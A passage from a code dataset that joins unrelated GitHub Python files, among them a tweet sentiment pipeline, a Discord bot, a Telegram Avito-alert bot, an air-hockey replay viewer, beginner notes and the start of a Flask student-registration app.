mentions)','Level 5(removing links)','Level 6(removing punctuations)','Level 7(Converting into lower case)','final tweets after procesing','polarity','sentiment analysis'])\n df=df.drop_duplicates(subset='final tweets after procesing')\n df.to_csv('sentimentanalysis.csv',index=False)\n # return tweetsfinalpostsentiment\n return df\n\n\n\ndef processing(search_query,numtweets):\n #tweetsfinal=[]\n tweets=tweepy.Cursor(api.search,q=search_query+'-filter:retweets',lang=\"en\",since=\"2020-10-13\").items(numtweets)\n \n # tweets=tweepy.Cursor(api.search,q=search_query+'-filter:retweets',lang=\"en\").items(numtweets)\n\n #print(tweets)\n\n for tweet in tweets:\n textl1=tweet.text\n textl2=''.join([c for c in textl1 if ord(c) < 128])#removing weird text\n textl3=BeautifulSoup(textl2,'lxml').get_text()#removes html tags\n textl4 = ' '.join(re.sub(\"(@[A-Za-z0-9_]+)|(#[A-Za-z0-9_]+)\", \" \", textl3).split())#removing mentions and hashtags\n textl5 = ' '.join(re.sub(\"http://\\S+|https://\\S+\", \" \", textl4).split())#removing links\n textl6 = ' '.join(re.sub(\"[\\.\\,\\!\\?\\:\\;\\-\\=]\", \" \", textl5).split())#removing punctuations\n textl7 = textl6.lower()#converting to lower case\n textl8=furnished(textl7)\n tweetsfinalpostprocessing.append((search_query,tweet,textl1,textl2,textl3,textl4,textl5,textl6,textl7,textl8))\n df1=pd.DataFrame(tweetsfinalpostprocessing,columns=['topic','Level0','Level1(Readable_tweet)','Level2(Remvoving_weird_data)','Level3(removing_html_tags)','Level4(removing_hashtags_and_mentions)','Level5(removing_links)','Level6(removing_punctuations)','Level7(Converting_into_lower_case)','final_tweets_after_procesing'])\n df1 = df1.dropna()\n df1=df1.drop_duplicates(subset='final_tweets_after_procesing')\n df1.to_csv('preprocessing.csv',index=False)\n tweetsfinalpostsentiment_df=sentimentanalysis(df1)\n twitterfinalpostclassification=cluster_classification(df1)\n \n df2=pd.DataFrame(twitterfinalpostclassification,columns=['topic','Level 0','Level 1(Readable tweet)','Level 2(Remvoving weird data)','Level 3(removing html tags)','Level 4(removing hashtags and mentions)','Level 5(removing links)','Level 6(removing punctuations)','Level 7(Converting into lower case)','final tweets after procesing', 'category','Score' ])\n df2=df2.drop_duplicates(subset='final tweets after procesing')\n df2.to_csv('clusterclassification.csv',index=False)\n \n twitterfinalpostclassification=sentiment_and_cluster(tweetsfinalpostsentiment_df)\n df_combined=pd.DataFrame(twitterfinalpostclassification,columns=['topic','Level 0','Level 1(Readable tweet)','Level 2(Remvoving weird data)','Level 3(removing html tags)','Level 4(removing hashtags and mentions)','Level 5(removing links)','Level 6(removing punctuations)','Level 7(Converting into lower case)','final tweets after procesing', 'polarity','sentiment analysis', 'category','Score' ])\n df_combined=df_combined.drop_duplicates(subset='final tweets after procesing')\n df_combined.to_csv('sentiment_and_cluster.csv',index=False)\n return tweetsfinalpostprocessing\n\n\n\n\ntweetsfinalpostprocessing=[]\ntweetsfinalpostsentiment=[]\n#search_query=\"death\"\nnumtweets=6\n\nwoeid = 2459115\n \n# fetching the trends\ntrends = api.trends_place(id = woeid, exclude = \"hashtags\") # get_place_trends\n\n\n \nfor value in trends:\n for trend in value['trends']:\n search_query=trend['name']\n tweetsfinalpostprocessing=processing(search_query,numtweets)\n\n\n\n","repo_name":"ManoghnK/TweetInsights","sub_path":"1_0.py","file_name":"1_0.py","file_ext":"py","file_size_in_byte":18247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"5128017416","text":"import disnake\nimport os\nimport logging\nfrom disnake.ext import commands\nfrom misc import collections\nimport math\nfrom config.config_loader import config_file\nfrom utils.messages import send_notification, NotificationType\nfrom utils import tasks\n\n\nclass ErisProtectBot(commands.AutoShardedInteractionBot):\n def __init__(self):\n intents = disnake.Intents.default()\n\n intents.members = True\n intents.message_content = True\n\n shard_count = collections.bot_stats.get_value(0, 'shard-count', 1)\n\n super().__init__(shard_count=shard_count, intents=intents)\n\n for address, dirs, files in os.walk(os.path.join(os.getcwd(), 'cogs')):\n self.load_extensions(address)\n\n self.i18n.load(os.path.join(os.getcwd(), 'lang_packs', 'slash_commands'))\n\n self.antinuke_entries = {}\n self.antinuke_guild_actions = {}\n self.ignored_guilds = {} # If the bot can't punish a user\n\n async def on_ready(self):\n logging.info(f'Logged in as {self.user} (ID: {self.user.id})')\n await self.change_presence(activity=disnake.Game(config_file.get('GITHUB_URL')))\n\n collections.bot_stats.set_value(\n 0,\n 'shard-count',\n math.ceil(len(self.guilds) / int(config_file.get('GUILDS_PER_SHARD')))\n )\n\n self.loop.create_task(tasks.clear_temp_dictionaries(self))\n\n async def on_slash_command_error(\n self, inter: disnake.ApplicationCommandInteraction, exception\n ):\n if isinstance(exception, EmbedableError):\n await send_notification(\n inter,\n NotificationType.EmbedError,\n str(exception)\n )\n else:\n raise exception\n\n\nclass EmbedableError(commands.errors.CommandError):\n pass\n","repo_name":"cymon4380/ErisProtect","sub_path":"src/models/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"25932641418","text":"# https://www.hackerrank.com/challenges/breaking-best-and-worst-records/problem\n\nn = int(input())\na = list(map(int, input().rstrip().split()))\nmax1 = a[0]\nmin1 = a[0]\na.pop(0)\nx = 0\ny = 0\nfor i in a :\n if (i > max1) :\n x = x + 1\n max1 = i\n if (i < min1) :\n y = y + 1\n min1 = i\n\nprint(x,y) \n","repo_name":"madhur3u/HackerRank","sub_path":"BrRecord.py","file_name":"BrRecord.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"71205249969","text":"#!/usr/bin/env python3\n\n# Used to qucikly grab internal hostname and IP address I am working on\n\nimport socket\n\n# Function to display hostname and\n# IP address\ndef get_Host_name_IP():\n try:\n host_name = socket.gethostname()\n host_ip = socket.gethostbyname(host_name)\n print(\"Hostname : \",host_name)\n print(\"IP : \",host_ip)\n except:\n print(\"Unable to get Hostname and IP\")\n\n# Driver code\nget_Host_name_IP() #Function call\n\n","repo_name":"Jshawn0211/python","sub_path":"internal_nslookup_.py","file_name":"internal_nslookup_.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"36230195445","text":"import json\n\nfrom aiogram import types\nfrom aiogram import Dispatcher\nfrom aiogram.dispatcher.storage import FSMContext\nfrom aiogram.dispatcher.filters.state import State, StatesGroup\nfrom aiogram.utils.callback_data import CallbackData\n\nfrom telegram_bot.init_bot import bot, bot_dispatcher, users_handler, offer_type_items_handler, user_offer_types_handler\nfrom telegram_bot.bot_config import PATH_TO_PROJECT\nfrom telegram_bot.client_handlers.reply_markups import generate_markup, generate_inline_kbm, kbm_main_menu\n\n\nADD_OFFER_TYPE_RESPONSE_1 = \"Введите город, с которого надо искать объявления (пока что можно вводить только moskva, kazan или ufa):\"\nADD_OFFER_TYPE_ERROR_2 = \"Такого города еще нет в боте. Чтобы добавить его, напишите @JakeFish\"\nADD_OFFER_TYPE_RESPONSE_2 = \"Выберите категорию товара из меню:\"\nADD_OFFER_TYPE_ERROR_3 = \"Такой категории еще нет в боте. Чтобы добавить его, напишите @JakeFish\"\nADD_OFFER_TYPE_RESPONSE_3 = \"Выерите субкатегорию товара из меню:\"\nADD_OFFER_TYPE_RESPONSE_4 = \"Введите название товара:\"\nADD_OFFER_TYPE_ERROR_4 = \"Такой категории еще нет в боте. Чтобы добавить его, напишите @JakeFish\"\nADD_OFFER_TYPE_RESPONSE_5 = \"Уведомления могут сильно отличаться от того, что вы хотите. Хотите ли вы, чтобы у названий объявлений было строгое совпадение с введенным?\"\nADD_OFFER_TYPE_RESPONSE_6 = \"✅ Успешно! Товар добавлен. Вам будут приходить уведомления, если появятся новые \" \\\n \"предложения с выбранного города.\"\n\n# Loading avito offer types json.\nwith open(PATH_TO_PROJECT + \"avito_parser/offer_type_urls.json\", \"r\") as file:\n offer_types = json.load(file)\n\n# Generating avito offer type markups.\nmain_types_markup = generate_markup(\n [[main_offer_type] for main_offer_type in offer_types.keys()]\n)\n\nsubtype_markups = {}\n\nfor main_type in offer_types:\n subtype_markups[main_type] = generate_markup(\n [[offer_subtype] for offer_subtype in offer_types[main_type].keys()]\n )\n\n# Callback data for yes/no answer in strict matching flag.\ncb_strict_matches = CallbackData(\"strict_matching\", \"flag\")\n\n# Generating yes/no markup for strict matches.\nkbm_strict_matches = generate_inline_kbm(\n [\n [[\"✅Да\", cb_strict_matches.new(flag=\"yes\")], [\"❌Нет\", cb_strict_matches.new(flag=\"no\")]]\n ]\n)\n\nclass AddOfferTypeForm(StatesGroup):\n input_city = State()\n input_type = State()\n input_subtype = State()\n input_item = State()\n input_strict_matching = State()\n\nasync def add_offer_type_st1(query: types.CallbackQuery):\n \"\"\"\n Adding new offer type when\n user executes add_offer_type.\n \"\"\"\n user_telegram_id = query.from_user.id\n await AddOfferTypeForm.input_city.set()\n await bot.send_message(user_telegram_id, ADD_OFFER_TYPE_RESPONSE_1)\n\nasync def add_offer_type_st2(message: types.message, state: FSMContext):\n \"\"\"\n Getting new offer type city.\n \"\"\"\n\n # TODO: cities\n cities = [\"ufa\", \"moskva\", \"kazan\"]\n\n user_telegram_id = message.from_user.id\n offer_type_city = message.text\n\n if offer_type_city in cities:\n async with state.proxy() as data:\n data[\"city\"] = offer_type_city\n data.update()\n\n print(main_types_markup)\n\n await bot.send_message(\n user_telegram_id,\n ADD_OFFER_TYPE_RESPONSE_2,\n reply_markup=main_types_markup\n )\n\n await AddOfferTypeForm.next()\n\n else:\n await bot.send_message(\n user_telegram_id,\n ADD_OFFER_TYPE_ERROR_2\n )\n\n await state.finish()\n\nasync def add_offer_type_st3(message: types.message, state: FSMContext):\n \"\"\"\n Getting new offer type category.\n \"\"\"\n\n #TODO: types.\n user_telegram_id = message.from_user.id\n offer_type = message.text\n\n if offer_type in offer_types:\n async with state.proxy() as data:\n data[\"main_type\"] = offer_type\n data.update()\n\n await bot.send_message(\n user_telegram_id,\n ADD_OFFER_TYPE_RESPONSE_3,\n reply_markup=subtype_markups[offer_type]\n )\n\n await AddOfferTypeForm.next()\n\n else:\n await bot.send_message(\n user_telegram_id,\n ADD_OFFER_TYPE_ERROR_3,\n reply_markup=subtype_markups[offer_type]\n )\n\n await state.finish()\n\nasync def add_offer_type_st4(message: types.message, state: FSMContext):\n \"\"\"\n Getting offer type.\n \"\"\"\n\n user_telegram_id = message.from_user.id\n offer_type = message.text\n\n async with state.proxy() as data:\n\n if offer_type in offer_types[data[\"main_type\"]]:\n data[\"subtype\"] = offer_type\n data.update()\n\n await bot.send_message(\n user_telegram_id,\n ADD_OFFER_TYPE_RESPONSE_4\n )\n\n await AddOfferTypeForm.next()\n\n else:\n await bot.send_message(\n user_telegram_id,\n ADD_OFFER_TYPE_ERROR_4\n )\n\n await state.finish()\n\n\nasync def add_offer_type_st5(message: types.message, state: FSMContext):\n \"\"\"\n Getting new offer type item.\n \"\"\"\n user_telegram_id = message.from_user.id\n offer_type_item: str = message.text\n offer_type_item_for_url = offer_type_item.replace(\" \", \"+\")\n\n async with state.proxy() as data:\n data[\"offer_type_item\"] = offer_type_item\n data[\"offer_type_item_for_url\"] = offer_type_item_for_url\n\n await bot.send_message(\n user_telegram_id,\n ADD_OFFER_TYPE_RESPONSE_5,\n reply_markup=kbm_strict_matches\n )\n\n await AddOfferTypeForm.next()\n\nasync def add_offer_type_st6(query: types.CallbackQuery, callback_data: dict, state: FSMContext):\n \"\"\"\n Getting bool flag for strict matches in offer titles.\n \"\"\"\n user_telegram_id = query.from_user.id\n\n async with state.proxy() as data:\n offer_city = data[\"city\"]\n offer_type = offer_types[data[\"main_type\"]][data[\"subtype\"]]\n offer_type_item = data[\"offer_type_item\"]\n offer_type_item_for_url = data[\"offer_type_item_for_url\"]\n\n # strict matching bool flag\n strict_match_flag = callback_data.get(\"flag\") == \"yes\"\n\n offer_type_item_url = f\"https://avito.ru/{offer_city}/{offer_type}?q={offer_type_item_for_url}\"\n\n # Adding offer type to offer_type_items table.\n result = offer_type_items_handler.add_offer_type_item(\n offer_type=offer_type,\n offer_type_item=offer_type_item,\n offer_type_city=offer_city,\n offer_type_item_url=offer_type_item_url,\n strict_match_flag=strict_match_flag\n )\n\n # Adding offer type to user_offer_types table.\n user_id = users_handler.get_user_id(user_telegram_id)\n offer_type_item_id = offer_type_items_handler.get_offer_type_item_id(offer_type_item)\n result = user_offer_types_handler.add_user_offer_type_item(\n user_id=user_id,\n offer_type_item_id=offer_type_item_id\n )\n\n await bot.send_message(\n user_telegram_id,\n ADD_OFFER_TYPE_RESPONSE_6,\n reply_markup=kbm_main_menu\n )\n await state.finish()\n\n\ndef register_add_offer_type_command(bot_dispatcher: Dispatcher):\n bot_dispatcher.register_callback_query_handler(add_offer_type_st1, text=\"add_offer_type\")\n # bot_dispatcher.register_message_handler(add_offer_type_st1, commands=[\"add_offer_type\"])\n bot_dispatcher.register_message_handler(add_offer_type_st2, state=AddOfferTypeForm.input_city)\n bot_dispatcher.register_message_handler(add_offer_type_st3, state=AddOfferTypeForm.input_type)\n bot_dispatcher.register_message_handler(add_offer_type_st4, state=AddOfferTypeForm.input_subtype)\n bot_dispatcher.register_message_handler(add_offer_type_st5, state=AddOfferTypeForm.input_item)\n bot_dispatcher.register_callback_query_handler(\n add_offer_type_st6,\n cb_strict_matches.filter(),\n state=AddOfferTypeForm.input_strict_matching\n )","repo_name":"jakefish18/AvitoOffersNotifier","sub_path":"telegram_bot/client_handlers/add_offer_type.py","file_name":"add_offer_type.py","file_ext":"py","file_size_in_byte":8498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"10490578142","text":"# ****************************************************************************** #\n# Author: Ondrej Slama\n# -------------------\n\n# Zdrojovy kod vytvoreny v ramci projektu robotickeho vzdusneho hokeje - diplomova prace\n# na VUT FSI ustavu automatizace a informatiky v Brne.\n\n# Source code created as a part of robotic air hockey table project - Diploma thesis\n# at BUT FME institute of automation and computer sience.\n\n# ****************************************************************************** #\nimport pygame\nfrom pygame.math import Vector2\nimport math\nimport numpy as np\nfrom Graphics.Graphics import AHGraphics\nfrom Constants import *\nfrom Functions import *\nimport pickle\nimport json\nimport pickle\nimport warnings\nfrom datetime import datetime\nimport cv2\n\nwarnings.simplefilter('error')\n\n\n\ndef main():\t # Main ----------------------------------------------------------------\n\n\t#----------------------------- Init -----------------------------\n\tpygame.init()\t\n\tclock = pygame.time.Clock()\n\tgraphics = AHGraphics('Air Hockey', WIDTH, HEIGHT)\n\n\t#----------------------------- Load data -----------------------------\n\twith open('Recordings/Recording_2020-07-01_18-05-40.obj', 'rb') as f:\n\t\tdata = pickle.load(f)\n\n\t#----------------------------- Frames -----------------------------\n\tsurfaces = []\n\tfor row in data:\n\n\t\ttemp = row[\"frame\"]\t\t\n\t\t# frame = cv2.perspectiveTransform(row[\"frame\"], row[\"p2u\"])\n\t\tif temp is not None:\t\t\n\t\t\ttemp = pygame.surfarray.make_surface(temp)\n\t\t\ttemp = pygame.transform.rotate(temp, 90)\t\t\t\n\t\t\ttemp = pygame.transform.scale(temp, (FIELD_PIXEL_WIDTH + 100, FIELD_PIXEL_HEIGHT))\n\t\t\n\t\tsurfaces.append(temp)\n\n\t#----------------------------- Time fix -----------------------------\n\tstartTime = data[0][\"time\"]\n\tfor i in range(len(data)):\n\t\tdata[i][\"time\"] = data[i][\"time\"] - startTime\n\t# \t#----------------------------- Temp data alocation -----------------------------\n\t# \ttime = [row[0] for row in data]\n\t# \tgameTime = [row[1] for row in data]\n\t# \tpuckPos = [row[2] for row in data]\n\t# \tpuckVel = [row[3] for row in data]\n\t# \tstrikerPos = [row[4] for row in data]\n\t# \tstrikerVel = [row[5] for row in data]\n\t# \tdesiredPos = [row[6] for row in data]\n\t# \tpredictedPos = [row[7] for row in data]\n\t\t\n\n\t#----------------------------- Loop -----------------------------\n\tanimationSpeed = 1\n\thistoryLength = 40\n\n\tframe = 0\n\ttimeReference = 0\n\tabsoluteTime = 0\n\tlastTextUpdate = 0\n\n\tpaused = False\n\tmouseDown = False\n\treferenceMousePos = [0,0]\n\treferenceFrame = 0\n\trunning = True\n\twhile running: \n\t\t# ----------------- EVENTS ------------------------\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\trunning = False \n\n\t\t\tif event.type == pygame.MOUSEBUTTONDOWN:\n\t\t\t\tpaused = True\n\t\t\t\tmouseDown = True\n\t\t\t\treferenceFrame = frame\n\t\t\t\treferenceMousePos = pygame.mouse.get_pos()\n\n\t\t\t\tif event.button == 4: animationSpeed *= 1.2\n\t\t\t\tif event.button == 5: animationSpeed *= 1/1.2\n\n\t\t\t\ttimeReference = absoluteTime - data[frame][\"time\"]/animationSpeed\n\t\t\t\t# pass\n\n\t\t\tif event.type == pygame.MOUSEBUTTONUP:\n\t\t\t\tpaused = False\n\t\t\t\tmouseDown = False\n\n\t\t\tif event.type == pygame.MOUSEMOTION:\n\t\t\t\tif mouseDown:\n\t\t\t\t\tmousePos = pygame.mouse.get_pos()\n\t\t\t\t\tframe = referenceFrame + round((mousePos[0] - referenceMousePos[0]) / 1210 * len(data))\n\t\t\t\t\tif frame >= len(data): frame = len(data) - 1\n\t\t\t\t\tif frame < 0: frame = 0\n\n\t\t\t\t\ttimeReference = absoluteTime - data[frame][\"time\"]/animationSpeed\n\n\n\t\t\tif event.type == pygame.KEYDOWN: \n\t\t\t\tpaused = True\n\n\t\t\t\tif event.key == pygame.K_LEFT: \t\n\t\t\t\t\tframe -= 1\t\t \n \n\t\t\t\tif event.key == pygame.K_RIGHT: \n\t\t\t\t\tframe += 1\t \n\t\t\t\t\t\n\t\t\t\tif frame >= len(data): frame = len(data) - 1\n\t\t\t\tif frame < 0: frame = 0 \n\n\t\tkeys = pygame.key.get_pressed() # currently pressed keys\n\t\t\t\n\t\tif keys[pygame.K_LEFT]:\n\t\t\tpass\n\t\t\n\t# -------------- Synchronization ---------------------\n\t\trealTime = pygame.time.get_ticks()\t\n\t\tcurrentFps = clock.get_fps()\n\t\tabsoluteTime = pygame.time.get_ticks()/1000\n\t\trelativeTime = absoluteTime - timeReference\n\t\twhile relativeTime * animationSpeed > data[frame][\"time\"]:\n\t\t\tif not paused: \n\t\t\t\tframe += 1\n\t\t\telse:\n\t\t\t\ttimeReference = absoluteTime - data[frame][\"time\"]/animationSpeed\n\t\t\t\tbreak \n\t\t\n\t\t\tif frame >= len(data): \n\t\t\t\tframe = 0\n\t\t\t\ttimeReference = absoluteTime\n\t\t\t\tbreak\n\t\t\n\n\t# ------------------- GRAPHICS ------------------------\n\t\tgraphics.drawBackgrond()\t\t\n\n\t\t# Draw game \n\t\tgraphics.drawField()\n\n\t\t#----------------------------- Camera -----------------------------\n\t\tif surfaces[frame] is not None:\n\t\t\tgraphics.window.blit(surfaces[frame], (320, 5))\n\n\t\tgraphics.drawPuck(data[frame][\"puckPos\"])\n\t\t# graphics.drawCamera(game.camera.puckPosition)\n\t\tgraphics.drawHistory([row[\"puckPos\"] for row in data[max(frame - historyLength, 0):frame]])\n\n\t\t# for striker in game.simulation.strikers:\n\t\tgraphics.drawStriker(data[frame][\"strikerPos\"], GREY)\n\n\t\t# draw desired position\n\t\tgraphics.drawCircle(data[frame][\"desiredPos\"], STRIKER_RADIUS/10, GREEN)\n\t\tgraphics.drawLine(data[frame][\"strikerPos\"], data[frame][\"desiredPos\"], GREEN)\n\t\t\n\t\t# draw predicted\n\t\tgraphics.drawCircle(data[frame][\"predictedPos\"], STRIKER_RADIUS/10, YELLOW)\n\t\tgraphics.drawLine(data[frame][\"puckPos\"], data[frame][\"predictedPos\"], YELLOW)\n\n\t\t# draw line to goal\n\t\tgraphics.drawLine(data[frame][\"puckPos\"], [0,0], ORANGE)\n\t\t\n\t\t# draw trajectory\n\t\tfor line in data[frame][\"trajectory\"]:\n\t\t\tgraphics.drawLine(line.start, line.end, RED)\n\t\t\n\n\n\t\tgraphics.drawSlider(frame/len(data), [10, 720, 360, 15])\n\t\t\t\n\t\t# graphics.drawStrategy(game.players[0].strategy)\n\n\n\n\t\t# Render text\n\t\tif realTime - lastTextUpdate > 250:\n\t\t\tgraphics.startCreatingTexts(margin=[10,0,10,0], y=20)\n\t\t\tgraphics.createText(\"Air Hockey\", size=40, alignment=\"center\")\n\t\t\tgraphics.createText(\"Game recording visualisation\", line=2, alignment=\"center\")\n\t\t# \tif PLAYGROUND:\n\t\t# \t\tgraphics.createText(str(game.players[0].goals) + \":0\", size=60, line=3, alignment=\"center\")\n\t\t# \telse:\n\t\t# \t\tgraphics.createText(str(game.players[0].goals) + \":\" + str(game.players[1].goals), size=60, line=3, alignment=\"center\")\n\n\t\t\tgraphics.createText(\"·\" * 50, alignment=\"center\")\n\t\t\tgraphics.createText(\"FPS: \" + str(round(currentFps, 2)))\n\t\t\tgraphics.createText(\"Paused\" if paused else \"Running\")\n\t\t\troundDigit = max(min(round(.5/animationSpeed), 3), 1)\n\t\t\tgraphics.createText(\"Animation speed: \" + str(round(animationSpeed, roundDigit)))\n\n\t\t\t# graphics.createText(\"Game time: \" + str(round(data[frame][\"gameTime\"], 2)))\n\t\t\tgraphics.createText(\"Recording time: \" + str(round(data[frame][\"time\"], 2)))\n\t\t\tgraphics.createText(\"\")\n\t\t\tgraphics.createText(\"Puck:\")\n\t\t\tgraphics.createText(\"Position: \" + \"x: {:3.0f} y: {:3.0f}\".format(*data[frame][\"puckPos\"]))\n\t\t\tgraphics.createText(\"Speed: \" + \"x: {:3.0f} y: {:3.0f}\".format(*data[frame][\"puckVel\"]))\n\t\t\tgraphics.createText(\"Speed magnitude: \" + \"{:3.0f}\".format(Vector2(data[frame][\"puckVel\"]).magnitude()))\n\t\t\tgraphics.createText(\"Predicted position: \" + \"x: {:3.0f} y: {:3.0f}\".format(*data[frame][\"predictedPos\"]))\n\n\t\t\tgraphics.createText(\"Frame: \" + \"{:4.0f} / {:4.0f}\".format(frame, len(data)))\n\t\t# \t# graphics.createText(\"Puck speed: \" + str(round(game.players[0].strategy.puck.speedMagnitude, 2)))\n\t\t# \tgraphics.createText(\"Camera FPS: \" + str(game.camera.frameRate))\n\t\t# \tgraphics.createText(\"Showing game: \" + str(currentGame + 1) + \"/\"+ str(NUMBER_OF_GAMES))\n\n\t\t# \tgraphics.createText(\" \")\n\t\t# \tgraphics.createText(\"Left player:\")\n\t\t# \tgraphics.createText(\"‾‾‾‾‾‾‾‾‾‾\")\n\t\t# \tgraphics.createText(\"Score: \" + str(round(game.players[0].score, 2)))\n\t\t\t\n\t\t# \tgraphics.createText(\" \")\n\t\t# \tif not PLAYGROUND:\n\t\t# \t\tgraphics.createText(\"Right player:\")\n\t\t# \t\tgraphics.createText(\"‾‾‾‾‾‾‾‾‾‾‾‾\")\n\t\t# \t\tgraphics.createText(\"Score: \" + str(round(game.players[1].score, 2)))\n\n\t\t# \tgraphics.createText(\" \")\n\t\t# \tgraphics.createText(\"Strategy:\")\n\t\t# \tgraphics.createText(\"‾‾‾‾‾‾‾\")\n\t\t# \tgraphics.createText(game.players[0].strategy.debugString)\n\t\t# \tgraphics.createText(\"Goal line intersetion: {}\".format(game.players[0].strategy.goalLineIntersection))\n\t\t# \tgraphics.createText(\"Puck speed: \" + str(round(game.players[0].strategy.puck.speedMagnitude, 2)))\n\t\t# \tgraphics.createText(\"Puck vector: {:1.2f}, {:1.2f}\".format(game.players[0].strategy.puck.vector.x, game.players[0].strategy.puck.vector.y))\n\t\t# \tgraphics.createText(\"Puck angle: {:3.1f}\".format(game.players[0].strategy.puck.angle))\n\t\t# \tgraphics.createText(\"Dangerous puck: {}\".format(game.players[0].strategy.isPuckDangerous()))\n\t\t# \tgraphics.createText(\"Puck Behind: {}\".format(game.players[0].strategy.isPuckBehingStriker()))\n\t\t# \tgraphics.createText(\" \")\n\t\t# \t# graphics.createText(\"Striker in good position: {}\".format(game.players[0].strategy.isInGoodPosition(game.players[0].strategy.lineToGoal)))\n\t\t# \tgraphics.createText(\"Striker position: {:3.0f}, {:3.0f}\".format(*game.players[0].strategy.striker.position))\n\t\t# \t# graphics.createText(\"Striker velocity: {:3.0f}, {:3.0f}\".format(*game.players[0].strategy.striker.velocity))\n\t\t# \t# graphics.createText(\"Striker velocity: {:3.0f}, {:3.0f}\".format(*game.players[1].strategy.striker.velocity))\n\t\t# \tgraphics.createText(\"Striker speed: {:5.0f}\".format(game.players[0].strategy.striker.velocity.magnitude()))\n\t\t# \t# graphics.createText(\"Striker speed: {:3.0f}, {:3.0f}\".format(*game.players[0].strategy.opponentStriker.position))\n\n\n\t\t# \tif MODE == \"NE\":\n\t\t# \t\tgraphics.createText(\" \")\n\t\t# \t\tgraphics.createText(\"Neuroevolution:\")\n\t\t# \t\tgraphics.createText(\"‾‾‾‾‾‾‾‾‾‾‾‾‾‾\")\n\t\t# \t\tgraphics.createText(\"Generation: \" + str(population.generation))\n\t\t# \t\tif population.globalBestMember is not None:\n\t\t# \t\t\tgraphics.createText(\"Best fitness: \" + str(population.globalBestMember.absoluteFitness))\n\t\t# \t\tgraphics.createText(\"Brain size: \" + str(game.players[0].strategy.brain.size))\n\n\t\t# \tif game.gameDone:\n\t\t# \t\tgraphics.createText(\"Game finished\", line=15, column=2, size=100, alignment=\"center\")\n\t\t# \t# graphics.createText(\"Dangerous puck: \" + str(game.players[0].strategy.isPuckDangerous()))\n\t\t\t\n\n\t\t\t# lastTextUpdate = realTime\t\t\t\n\t\t\n\t\t# Update graphics (blit everything to screen)\n\t\tgraphics.update()\n\n\t\t# Set fps\n\t\tclock.tick(60)\n\n\n\tpygame.quit()\n\nif __name__ == \"__main__\":\t\n\tmain()\n\t\n","repo_name":"OndraSlama/AirHockey","sub_path":"main_visu.py","file_name":"main_visu.py","file_ext":"py","file_size_in_byte":10296,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"20"} +{"seq_id":"40952108463","text":"# type doesnt actualy matter\nvar1 = 1 # integer\nvar2 = 1.1 # float\nvar3 = \"Some text\" # String\nvar4 = True # boolean\n\n# if :\n# elif :\n# else:\n\n# STRINGS\nstring = \"a new random string with random values\"\n\nprint(string[1:4]) # prints the values from the interval [1; 4[\nprint(string[2:]) # prints the values from 2 till the end\n\nprint(string.strip()) # removes the '\\n' from the end of the list\n\nprint(string.find(\"new\")) # obtains and returns the fist appearence's index for the seached word or -1 if not found\n\nprint(string.replace(\"new\",\n \"old\")) # replaces an old expression by the new one. Note that it does not change the original string\n\n# LISTS\nlist1 = [1, 3, 57, 8, 8]\nlist2 = [\"hello\", \"world\", \"!\"]\nlist3 = [\"word\", 2.2, \"hmm yes\", 1, False]\n\n# iterate though a List -> for each\nfor i in list1:\n print(i)\n\n# manual loop into a list -> c style\nfor i in range(len(list1)):\n print(list1[i])\n\nif \"!\" in list2:\n print(\"!\")\n\nlist4 = sorted(list1) # returns a sorted list\nlist1.sort() # sorts the list itself\nprint(list1)\nlist.reverse() # reverses the list itself\n\n# HASH TABLES\nhashTable = {\"key\": \"object\"}\nhashTable[\"newKew\"] = \"new value added\"\n\n\n# THE METHODS MUST BE DEFINED BEFORE BEING CALLED\ndef newMethof(arg1, arg2): # method that recieves two arguments and prints them\n print(arg1 + \"\\n\" + arg2)\n","repo_name":"Blaldas/Learn_Python","sub_path":"Strings, Lists and Methods.py","file_name":"Strings, Lists and Methods.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"34013447059","text":"from lib2to3.pgen2.tokenize import StopTokenizing\nfrom flask import Flask, request, jsonify, send_from_directory\nfrom werkzeug.utils import secure_filename\nimport os\nimport sqlite3 \nimport smtplib\n\n\nfrom flask_jwt_extended import create_access_token\nfrom flask_jwt_extended import jwt_required\nfrom flask_jwt_extended import JWTManager\n\napp = Flask(__name__)\napp.config[\"JWT_SECRET_KEY\"] = \"super-secret\" # Change this\njwt = JWTManager(app)\n\napp.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']\napp.config['UPLOAD_PATH'] = 'uploads'\n\n\n\ndef dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n\n# get the connection to the sqlite database\ndef get_db() -> sqlite3.Connection:\n db = sqlite3.connect('database.db')\n db.row_factory = dict_factory\n\n cursor = db.cursor()\n \n # create user table if it doesn't exist\n cursor.execute(\"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT)\")\n \n\n \n # create a students table if it doesn't exist \n # table contains the student's name, id, mobile, email, blood, status (default pending) and studentId\n cursor.execute(\"CREATE TABLE IF NOT EXISTS students (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, studentId TEXT, mobile TEXT, email TEXT, blood TEXT, status TEXT default 'pending', profileImageName TEXT, IdProofImage TEXT, memoImage TEXT, allotmentImage TEXT, reason TEXT default '')\")\n \n return db\n\n# check if the user credentials are in the database\n# if so, return the user id\ndef check_user(username, password):\n db = get_db()\n cur = db.execute(\"SELECT id FROM users WHERE username = ? AND password = ?\", (username, password))\n return cur.fetchone()\n\n# get all students details from the database where status is pending\ndef get_pending_students():\n db = get_db()\n cur = db.execute(\"SELECT * FROM students WHERE status = 'pending'\")\n return cur.fetchall()\n\n\n# get all students details from the database where status is approved\ndef get_approved_students():\n db = get_db()\n cur = db.execute(\"SELECT * FROM students WHERE status = 'approved'\")\n return cur.fetchall()\n\n# 